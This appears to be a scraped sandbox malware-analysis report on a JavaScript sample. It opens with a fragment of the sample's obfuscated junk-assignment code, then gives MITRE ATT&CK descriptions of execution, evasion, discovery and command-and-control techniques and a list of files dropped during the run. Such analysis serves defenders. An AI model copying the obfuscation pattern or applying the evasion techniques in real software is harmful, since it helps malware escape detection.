1393	jcgkcfoix = "k";
1394	jcgkcfoix = "O";
1395	jcgkcfoix = "Y";
1396	jcgkcfoix = "c";
1397	jcgkcfoix = "U";
1398	ginbx = "b";
1399	ginbx = "L";
1400	ginbx = "w";
1401	ginbx = "L";
1402	ginbx = "O";
1403	ginbx = "D";
1404	ginbx = "Y";
1405	ginbx = "K";
1406	ginbx = "U";
1407	ginbx = "h";
1408	ginbx = "V";
1409	ginbx = "E";
1410	ginbx = "K";
1411	ginbx = "S";
1412	ginbx = "w";
1413	ginbx = "u";
1414	ginbx = "i";
1415	ginbx = "E";
1416	ginbx = "m";
1417	ginbx = "a";
1418	ginbx = "F";
1419	ginbx = "u";
1420	ginbx = "y";
1421	ginbx = "i";
1422	ekjdizxo = "r";
1423	ekjdizxo = "k";
1424	ekjdizxo = "p";
1425	ekjdizxo = "v";
1426	ekjdizxo = "G";
1427	ekjdizxo = "j";
1428	ekjdizxo = "M";
1429	ekjdizxo = "b";
1430	ekjdizxo = "v";
1431	ekjdizxo = "Y";
1432	lbfzk = "M";
1433	lbfzk = "e";
1434	lbfzk = "A";
1435	lbfzk = "j";
1436	lbfzk = "d";
1437	lbfzk = "u";
1438	lbfzk = "v";
1439	lbfzk = "d";
1440	lbfzk = "a";
1441	lbfzk = "K";
1442	lbfzk = "i";
1443	lbfzk = "b";
1444	lbfzk = "J";
1445	lbfzk = "q";
1446	lbfzk = "i";
1447	lbfzk = "c";
1448	lbfzk = "F";
1449	lbfzk = "p";
1450	lbfzk = "C";
1451	lbfzk = "Y";
1452	lbfzk = "r";
1453	lbfzk = "z";
1454	lbfzk = "E";
1455	lbfzk = "A";
1456	lbfzk = "s";
1457	gwdvf = "v";
1458	gwdvf = "P";
1459	gwdvf = "c";
1460	gwdvf = "b";
1461	gwdvf = "R";
1462	gwdvf = "d";
1463	gwdvf = "G";
1464	gwdvf = "Z";
1465	gwdvf = "Z";
1466	gwdvf = "W";
1467	gwdvf = "K";
1468	gwdvf = "u";
1469	gwdvf = " ";
1470	nmdhga = "a";
1471	nmdhga = "U";
1472	nmdhga = "o";
1473	nmdhga = "M";
1474	nmdhga = "I";
1475	nmdhga = "F";
1476	nmdhga = "D";
1477	nmdhga = "x";
1478	nmdhga = "t";
1479	nmdhga = "A";
1480	nmdhga = "S";
1481	nmdhga = "b";
1482	nmdhga = "w";
1483	nmdhga = "l";
1484	nmdhga = "n";
1485	nmdhga = "x";
1486	nmdhga = "x";
1487	nmdhga = "w";
1488	nmdhga = "E";
1489	nmdhga = "X";
1490	nmdhga = "f";
1491	nmdhga = "B";
1492	nmdhga = "B";
1493	nmdhga = "z";
1494	nmdhga = "A";
1495	nmdhga = "M";
1496	nmdhga = "x";
1497	nmdhga = "i";
1498	nmdhga = "w";
1499	nmdhga = "A";
1500	nmdhga = "c";
1501	nmdhga = "K";
1502	ocataocj ( );	ocataocj() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 3141714165326508962.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\2efa9d5d-5dfd-4f50-84a5-90704858acba.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Windows Analysis Report
3141714165326508962.js